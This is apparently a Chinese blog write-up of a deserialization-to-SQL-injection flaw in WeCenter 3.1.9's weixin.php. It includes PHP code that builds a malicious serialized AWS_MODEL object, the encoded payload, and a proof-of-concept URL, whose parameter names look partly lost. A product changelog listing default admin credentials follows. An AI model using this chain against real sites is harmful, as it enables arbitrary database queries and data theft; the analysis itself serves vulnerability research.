php微信漏洞,wecenter 3.1.9 /app/m/weixin.php 反序列化造成SQL注入漏洞

wecenter 3.1.9 /app/m/weixin.php 文件中,对传入的参数反序列化后直接构造SQL语句进行查询,导致SQL注入漏洞

漏洞文件:/app/m/weixin.php:110

相关代码public function authorization_action()

{

$this->model('account')->logout();

unset(AWS_APP::session()->WXConnect);

if (get_setting('weixin_account_role') != 'service')

{

H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));

}

else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')

{

if ($_GET['state'] == 'OAUTH')

{

$access_token = unserialize(base64_decode($_GET['access_token']));

}

...

上面这句话将$_GET['access_token']解码以后进行反序列化。当然这个点存在利用条件,那就是get_setting('weixin_account_role') != 'service',需要后台设置了微信认证服务号,

这里有__destruct函数,我们可以看到,这里直接遍历了_shutdown_query对象,将其值传入query直接执行。

明显存在一个任意SQL语句执行漏洞,只要我生成一个AWS_MODEL类对象,再其销毁的时候就能执行任意SQL语句。

构造的反序列化对象是一个数组,数组的第一个元素是error => true,第二个元素就是AWS_MODEL类对象。 代码如下:<?php

class AWS_MODEL {

private $_shutdown_query;

function __construct()

{

$this->_shutdown_query = [

"SELECT updatexml(1,concat(0xa,md5(1)),1)"

];

}

}

$arr = [

'errcode' => 1,

new AWS_MODEL()

];

echo urlencode(base64_encode(serialize($arr)));

?>

生成出来的:YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D

完整POC:?/m/weixin/authorization/=OAUTH=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D

例子:http://xxxxxxxxx/?/m/weixin/authorization/=OAUTH=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D

ad764e8acb059e9a94dccda9abb64061.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WeCenter(原Anwsion) 社会化问答系统 v3.3.0 更新日志   短信功能基础模块添加(三种短信通道可供选择)   支付功能基础模块添加(支付宝、微信、余额) 删除改为逻辑删除(文章/问题/用户) 内容审核增加了对文章评论问题评论和回答评论的审核 后台菜单改为数据库储存和维护 新增插件管理(后续可支持插件的安装与卸载,结合应用市场) **配合手机注册插件可实现手机号注册登录 修改加入收藏的逻辑 修复了分享导致内容脚本被执行的漏洞 升级程序修改 (支持官方版本的跨版本升级,修复了升级过程中出错而无法再升级问题) 后台增加了对违规用户IP的封禁 社区反映问题修改   WeCenter(原Anwsion) 社会化问答系统简介 Wecenter(微中心系统软件)是一款由深圳市微客互动有限公司开发的具有完全自主知识产权的开源软件。它安全,可靠,快速更迭,可以迅速帮助企业和组织通过微信,微薄,APP,网页社区等交互模式建立和客户之间的互动联系,积累知识要点,降低同质化内容的咨询成本和人力服务成本。让内容可以协同编辑,可以评价,可以快递分类和定位,建立符合企业和组织需求的结构化知识库。 通过微信公众帐号的对接,Wecenter利用结构化知识库和自然语言的检索,让企业拥有一个专业化的智能交流服务(类似苹果siri),建立一个微信端的crm系统。通过微薄的帐号管理,可以及时的了解微薄数据流中提到的关键信息,帮助企业和组织快速反映并提交解决方案。通过APP和网页社区,企业和组织可以和用户进行社交互动,并通过邀请,赞同,感谢等动作,发现优秀的人才和观点。 Wecenter是通过积累来源于微信,微薄,APP,社区等用户的碎片信息,利用社交互动的模式,分析数据,提炼数据,最终帮助企业和组织积累符合他们需求的知识百科!  WeCenter(原Anwsion) 社会化问答系统前台页面  WeCenter(原Anwsion) 社会化问答系统后台管理 后台路径:域名//?/admin/ 用户名与密码:admin admin123(安装时可设置) 后台页面: 相关阅读 同类推荐:站长常用源码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值